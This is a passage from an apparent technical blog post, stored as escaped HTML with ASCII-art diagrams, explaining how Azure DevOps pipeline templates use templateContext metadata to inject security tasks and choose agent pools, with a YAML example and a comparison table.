y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='52' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='52' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='52' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='52' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='52' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='52' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='132' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='52' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# governed-jobs.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejobList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each job in parameters.jobs }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ job.job }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# Accessing the context\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003etier\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ job.templateContext.securityTier }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(job.templateContext.securityTier, \u0026#39;Critical\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSecurityAudit@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ job.steps }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eEvaluation Timing:\u003c/strong\u003e Like all \u003ccode\u003e${{ }}\u003c/code\u003e expressions, \u003ccode\u003etemplateContext\u003c/code\u003e is resolved at \u003cstrong\u003ecompile-time\u003c/strong\u003e. It cannot contain values derived from runtime scripts or task outputs.\u003c/p\u003e\n\u003ch2 id=\"3-scenario-metadata-driven-governance\"\u003e3. Scenario: Metadata-Driven Governance\u003c/h2\u003e\n\u003cp\u003eThe true value of \u003ccode\u003etemplateContext\u003c/code\u003e lies in building \u0026ldquo;Opinionated Platforms.\u0026rdquo;\u003c/p\u003e\n\u003ch3 id=\"31-conditional-task-injection\"\u003e3.1: Conditional Task Injection\u003c/h3\u003e\n\u003cp\u003eA common use case is the \u0026ldquo;Policy Wrapper.\u0026rdquo; A central template accepts a list of jobs from any team in the company. It uses the \u003ccode\u003etemplateContext.scan\u003c/code\u003e property to decide whether to inject a \u003ccode\u003eSonarQube\u003c/code\u003e task or a \u003ccode\u003eDockerPush\u003c/code\u003e task. This ensures that the platform enforces the correct security controls without you having to manually add them to every file.\u003c/p\u003e\n\u003ch4 id=\"metadata-driven-governance-flow\"\u003eMetadata-Driven Governance Flow\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 672 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,64 L 328,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,112 L 576,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,192 L 328,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,64 L 80,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,112 L 336,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,184 L 336,200' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,16 L 584,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,192.000000 84.000000,186.399994 84.000000,197.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,64.000000 324.000000,58.400002 324.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='584.000000,112.000000 572.000000,106.400002 572.000000,117.599998' fill='currentColor' transform='rotate(0.000000, 576.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='164' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='164' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='164' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='164' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='164' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='164' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"32-dynamic-agent-selection\"\u003e3.2: Dynamic Agent Selection\u003c/h3\u003e\n\u003cp\u003eYou can also use metadata to drive infrastructure decisions. For instance, you could route jobs to specific agent pools based on a \u003ccode\u003etemplateContext.os\u003c/code\u003e property. This keeps the job definition clean and allows the platform team to manage the mapping between \u0026ldquo;OS requirement\u0026rdquo; and \u0026ldquo;Agent Pool Name\u0026rdquo; centrally.\u003c/p\u003e\n\u003ch2 id=\"4-templatecontext-vs-custom-object-parameters\"\u003e4. \u003ccode\u003etemplateContext\u003c/code\u003e vs. Custom Object Parameters\u003c/h2\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eFeature\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003e\u003ccode\u003etemplateContext\u003c/code\u003e\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eCustom Object Parameter\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eSchema Safety\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eUses native ADO schemas.\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eUser-defined, no native validation.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eDiscoverability\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eHigh (uses standard \u003ccode\u003ejob\u003c/code\u003e keys).\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eLow (requires custom docs).\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eData Locality\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eMetadata lives \u003cstrong\u003ewith\u003c/strong\u003e the job.\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eMetadata is in a separate config.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eFlexibility\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eRestricted to list types.\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eCan be any structure.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eUse \u003ccode\u003etemplateContext\u003c/code\u003e when you want to extend the standard job/stage experience with \u0026ldquo;hints.\u0026rdquo; Use custom objects when your template is an entirely abstract factory that doesn\u0026rsquo;t map to standard pipeline concepts.\u003c/p\u003e\n\u003ch2 id=\"5-debugging-metadata-failures\"\u003e5. Debugging Metadata Failures\u003c/h2\u003e\n\u003cp\u003eIf your logic isn\u0026rsquo;t triggering, the most common culprit is a \u003cstrong\u003eType Mismatch\u003c/strong\u003e. Ensure your parameter is explicitly typed as \u003ccode\u003ejobList\u003c/code\u003e, \u003ccode\u003edeploymentList\u003c/code\u003e, 